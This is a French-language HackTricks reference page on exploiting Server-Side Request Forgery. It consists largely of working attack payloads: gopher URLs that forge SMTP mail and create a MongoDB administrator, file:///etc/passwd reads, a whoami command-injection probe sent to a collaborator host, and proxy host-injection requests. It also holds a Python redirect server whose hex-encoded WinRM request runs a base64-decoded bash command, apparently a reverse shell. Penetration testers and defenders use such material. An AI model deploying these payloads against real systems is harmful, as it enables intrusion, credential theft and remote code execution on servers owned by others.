SSRF (Server Side Request Forgery)
Reading time: 25 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.
Informations de base
Une vulnĂ©rabilitĂ© de Server-side Request Forgery (SSRF) se produit lorsqu'un attaquant manipule une application cĂŽtĂ© serveur pour effectuer des requĂȘtes HTTP vers un domaine de son choix. Cette vulnĂ©rabilitĂ© expose le serveur Ă des requĂȘtes externes arbitraires dirigĂ©es par l'attaquant.
Capture SSRF
La premiÚre chose que vous devez faire est de capturer une interaction SSRF générée par vous. Pour capturer une interaction HTTP ou DNS, vous pouvez utiliser des outils tels que :
- Burp Collaborator
- pingb
- canarytokens
- interractsh
- http://webhook.site
- https://github.com/teknogeek/ssrf-sheriff
- http://requestrepo.com/
- https://github.com/stolenusername/cowitness
- https://github.com/dwisiswant0/ngocok - Un Burp Collaborator utilisant ngrok
Contournement des domaines sur liste blanche
En général, vous constaterez que le SSRF ne fonctionne que dans certains domaines ou URL sur liste blanche. Dans la page suivante, vous avez une compilation de techniques pour essayer de contourner cette liste blanche :
Contournement via redirection ouverte
Si le serveur est correctement protĂ©gĂ©, vous pourriez contourner toutes les restrictions en exploitant une redirection ouverte Ă l'intĂ©rieur de la page web. Parce que la page web permettra SSRF vers le mĂȘme domaine et suivra probablement les redirections, vous pouvez exploiter la redirection ouverte pour faire accĂ©der le serveur Ă n'importe quelle ressource interne.
Lisez-en plus ici : https://portswigger.net/web-security/ssrf
Protocoles
- file://
- Le schéma d'URL
file://
est référencé, pointant directement vers/etc/passwd
:file:///etc/passwd
- dict://
- Le schĂ©ma d'URL DICT est dĂ©crit comme Ă©tant utilisĂ© pour accĂ©der aux dĂ©finitions ou aux listes de mots via le protocole DICT. Un exemple donnĂ© illustre une URL construite ciblant un mot spĂ©cifique, une base de donnĂ©es et un numĂ©ro d'entrĂ©e, ainsi qu'un exemple d'un script PHP pouvant ĂȘtre potentiellement mal utilisĂ© pour se connecter Ă un serveur DICT en utilisant des identifiants fournis par l'attaquant :
dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
- SFTP://
- IdentifiĂ© comme un protocole pour le transfert de fichiers sĂ©curisĂ© via un shell sĂ©curisĂ©, un exemple est fourni montrant comment un script PHP pourrait ĂȘtre exploitĂ© pour se connecter Ă un serveur SFTP malveillant :
url=sftp://generic.com:11111/
- TFTP://
- Le Trivial File Transfer Protocol, fonctionnant sur UDP, est mentionnĂ© avec un exemple d'un script PHP conçu pour envoyer une requĂȘte Ă un serveur TFTP. Une requĂȘte TFTP est faite Ă 'generic.com' sur le port '12346' pour le fichier 'TESTUDPPACKET' :
ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
- LDAP://
- Ce segment couvre le Lightweight Directory Access Protocol, en soulignant son utilisation pour gérer et accéder aux services d'information de répertoire distribués sur les réseaux IP. Interagissez avec un serveur LDAP sur localhost :
'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
- SMTP
- Une méthode est décrite pour exploiter les vulnérabilités SSRF afin d'interagir avec les services SMTP sur localhost, y compris des étapes pour révéler des noms de domaine internes et d'autres actions d'investigation basées sur ces informations.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
- Curl URL globbing - contournement de WAF
- Si le SSRF est exĂ©cutĂ© par curl, curl a une fonctionnalitĂ© appelĂ©e URL globbing qui pourrait ĂȘtre utile pour contourner les WAF. Par exemple, dans ce writeup, vous pouvez trouver cet exemple pour un path traversal via le protocole
file
:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
- Gopher://
- La capacité du protocole Gopher à spécifier l'IP, le port et les octets pour la communication avec le serveur est discutée, ainsi que des outils comme Gopherus et remote-method-guesser pour créer des charges utiles. Deux utilisations distinctes sont illustrées :
Gopher://
En utilisant ce protocole, vous pouvez spécifier l'IP, le port et les octets que vous souhaitez que le serveur envoie. Ensuite, vous pouvez essentiellement exploiter un SSRF pour communiquer avec n'importe quel serveur TCP (mais vous devez d'abord savoir comment parler au service).
Heureusement, vous pouvez utiliser Gopherus pour crĂ©er des charges utiles pour plusieurs services. De plus, remote-method-guesser peut ĂȘtre utilisĂ© pour crĂ©er des charges utiles gopher pour les services Java RMI.
Gopher smtp
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
Gopher HTTP
#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
Gopher SMTP â Retour de connexion Ă 1337
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.
Gopher MongoDB -- Créer un utilisateur avec le nom d'utilisateur=admin avec le mot de passe=admin123 et avec la permission=administrator
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'
SSRF via Referrer header & Others
Les logiciels d'analyse sur les serveurs enregistrent souvent l'en-tĂȘte Referrer pour suivre les liens entrants, une pratique qui expose involontairement les applications Ă des vulnĂ©rabilitĂ©s de Server-Side Request Forgery (SSRF). Cela est dĂ» au fait que ces logiciels peuvent visiter des URL externes mentionnĂ©es dans l'en-tĂȘte Referrer pour analyser le contenu des sites rĂ©fĂ©rents. Pour dĂ©couvrir ces vulnĂ©rabilitĂ©s, le plugin Burp Suite "Collaborator Everywhere" est conseillĂ©, tirant parti de la maniĂšre dont les outils d'analyse traitent l'en-tĂȘte Referer pour identifier les surfaces d'attaque SSRF potentielles.
SSRF via SNI data from certificate
Une mauvaise configuration qui pourrait permettre la connexion à n'importe quel backend à travers une configuration simple est illustrée avec un exemple de configuration Nginx :
stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}
Dans cette configuration, la valeur du champ Server Name Indication (SNI) est directement utilisĂ©e comme adresse du backend. Cette configuration expose une vulnĂ©rabilitĂ© Ă la Server-Side Request Forgery (SSRF), qui peut ĂȘtre exploitĂ©e en spĂ©cifiant simplement l'adresse IP ou le nom de domaine souhaitĂ© dans le champ SNI. Un exemple d'exploitation pour forcer une connexion Ă un backend arbitraire, tel que internal.host.com
, en utilisant la commande openssl
est donné ci-dessous :
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
Wget file upload
SSRF avec injection de commande
Il peut ĂȘtre utile d'essayer un payload comme : url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
Rendu des PDF
Si la page web crĂ©e automatiquement un PDF avec certaines informations que vous avez fournies, vous pouvez insĂ©rer du JS qui sera exĂ©cutĂ© par le crĂ©ateur de PDF lui-mĂȘme (le serveur) lors de la crĂ©ation du PDF et vous pourrez abuser d'un SSRF. Trouvez plus d'informations ici.
De SSRF Ă DoS
Créez plusieurs sessions et essayez de télécharger des fichiers lourds en exploitant le SSRF depuis les sessions.
Fonctions PHP SSRF
VĂ©rifiez la page suivante pour des fonctions PHP vulnĂ©rables et mĂȘme des fonctions Wordpress :
Redirection SSRF vers Gopher
Pour certaines exploitations, vous pourriez avoir besoin d'envoyer une réponse de redirection (potentiellement pour utiliser un protocole différent comme gopher). Ici, vous avez différents codes python pour répondre avec une redirection :
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self.end_headers()
httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
Proxies mal configurés pour SSRF
Tricks de cet article.
Flask
Code vulnérable du proxy Flask
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
if __name__ == "__main__":
app.run(threaded=False)
Flask permet d'utiliser @
comme caractĂšre initial, ce qui permet de faire de l'hĂŽte initial le nom d'utilisateur et d'injecter un nouveau. RequĂȘte d'attaque :
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close
Spring Boot
Code vulnérable :
.png)
Il a Ă©tĂ© dĂ©couvert qu'il est possible de commencer le chemin d'une requĂȘte avec le caractĂšre ;
ce qui permet ensuite d'utiliser @
et d'injecter un nouvel hĂŽte pour y accĂ©der. RequĂȘte d'attaque :
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
Serveur Web Intégré PHP
Code PHP vulnérable
<?php
$site = "http://ifconfig.me";
$current_uri = $_SERVER['REQUEST_URI'];
$proxy_site = $site.$current_uri;
var_dump($proxy_site);
echo "\n\n";
$response = file_get_contents($proxy_site);
var_dump($response);
?>
PHP permet l'utilisation du caractĂšre *
avant un slash dans le chemin de l'URL, cependant, il a d'autres limitations comme le fait qu'il ne peut ĂȘtre utilisĂ© que pour le chemin racine /
et que les points .
ne sont pas autorisés avant le premier slash, donc il est nécessaire d'utiliser une adresse IP encodée en hexadécimal sans point par exemple :
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close
DNS Rebidding CORS/SOP bypass
Si vous avez des problĂšmes pour exfiltrer du contenu d'une IP locale Ă cause de CORS/SOP, le DNS Rebidding peut ĂȘtre utilisĂ© pour contourner cette limitation :
CORS - Misconfigurations & Bypass
DNS Rebidding Automatisé
Singularity of Origin
est un outil pour effectuer des attaques de DNS rebinding. Il inclut les composants nécessaires pour re-lier l'adresse IP du nom DNS du serveur d'attaque à l'adresse IP de la machine cible et pour servir des charges utiles d'attaque afin d'exploiter des logiciels vulnérables sur la machine cible.
Consultez également le serveur public en cours d'exécution à http://rebind.it/singularity.html
DNS Rebidding + ID de session TLS/Ticket de session
Exigences :
- SSRF
- Sessions TLS sortantes
- Services sur des ports locaux
Attaque :
- Demander à l'utilisateur/bot d'accéder à un domaine contrÎlé par l'attaquant
- Le TTL du DNS est de 0 sec (donc la victime vérifiera à nouveau l'IP du domaine bientÎt)
- Une connexion TLS est créée entre la victime et le domaine de l'attaquant. L'attaquant introduit la charge utile à l'intérieur de l'ID de session ou du ticket de session.
- Le domaine commencera une boucle infinie de redirections contre lui-mĂȘme. L'objectif est de faire en sorte que l'utilisateur/bot accĂšde au domaine jusqu'Ă ce qu'il effectue Ă nouveau une demande DNS du domaine.
- Dans la demande DNS, une adresse IP privée est donnée maintenant (127.0.0.1 par exemple)
- L'utilisateur/bot essaiera de rĂ©tablir la connexion TLS et pour ce faire, il enverra l'ID de session/ID de ticket (oĂč la charge utile de l'attaquant Ă©tait contenue). Donc fĂ©licitations, vous avez rĂ©ussi Ă demander Ă l'utilisateur/bot de s'attaquer lui-mĂȘme.
Notez que pendant cette attaque, si vous souhaitez attaquer localhost:11211 (memcache), vous devez faire Ă©tablir Ă la victime la connexion initiale avec www.attacker.com:11211 (le port doit toujours ĂȘtre le mĂȘme).
Pour effectuer cette attaque, vous pouvez utiliser l'outil : https://github.com/jmdx/TLS-poison/
Pour plus d'informations, jetez un Ćil Ă la prĂ©sentation oĂč cette attaque est expliquĂ©e : https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference
Blind SSRF
La différence entre un SSRF aveugle et un SSRF non aveugle est que dans le SSRF aveugle, vous ne pouvez pas voir la réponse de la demande SSRF. Il est donc plus difficile d'exploiter car vous ne pourrez exploiter que des vulnérabilités bien connues.
SSRF basé sur le temps
VĂ©rifier le temps des rĂ©ponses du serveur peut permettre de savoir si une ressource existe ou non (peut-ĂȘtre qu'il faut plus de temps pour accĂ©der Ă une ressource existante qu'Ă une qui n'existe pas)
Exploitation SSRF dans le Cloud
Si vous trouvez une vulnĂ©rabilitĂ© SSRF dans une machine fonctionnant dans un environnement cloud, vous pourriez ĂȘtre en mesure d'obtenir des informations intĂ©ressantes sur l'environnement cloud et mĂȘme des identifiants :
Plateformes vulnérables au SSRF
Plusieurs plateformes connues contiennent ou ont contenu des vulnérabilités SSRF, vérifiez-les dans :
Outils
SSRFMap
Outil pour détecter et exploiter les vulnérabilités SSRF
Gopherus
Cet outil génÚre des charges utiles Gopher pour :
- MySQL
- PostgreSQL
- FastCGI
- Redis
- Zabbix
- Memcache
remote-method-guesser
remote-method-guesser est un scanner de vulnérabilités Java RMI qui prend en charge les opérations d'attaque pour la plupart des vulnérabilités Java RMI courantes. La plupart des opérations disponibles prennent en charge l'option --ssrf
, pour générer une charge utile SSRF pour l'opération demandée. Avec l'option --gopher
, des charges utiles gopher prĂȘtes Ă l'emploi peuvent ĂȘtre gĂ©nĂ©rĂ©es directement.
SSRF Proxy
SSRF Proxy est un serveur proxy HTTP multi-threadĂ© conçu pour tunneliser le trafic HTTP des clients Ă travers des serveurs HTTP vulnĂ©rables Ă la falsification de requĂȘtes cĂŽtĂ© serveur (SSRF).
Pour pratiquer
Références
- https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
- https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/
- https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.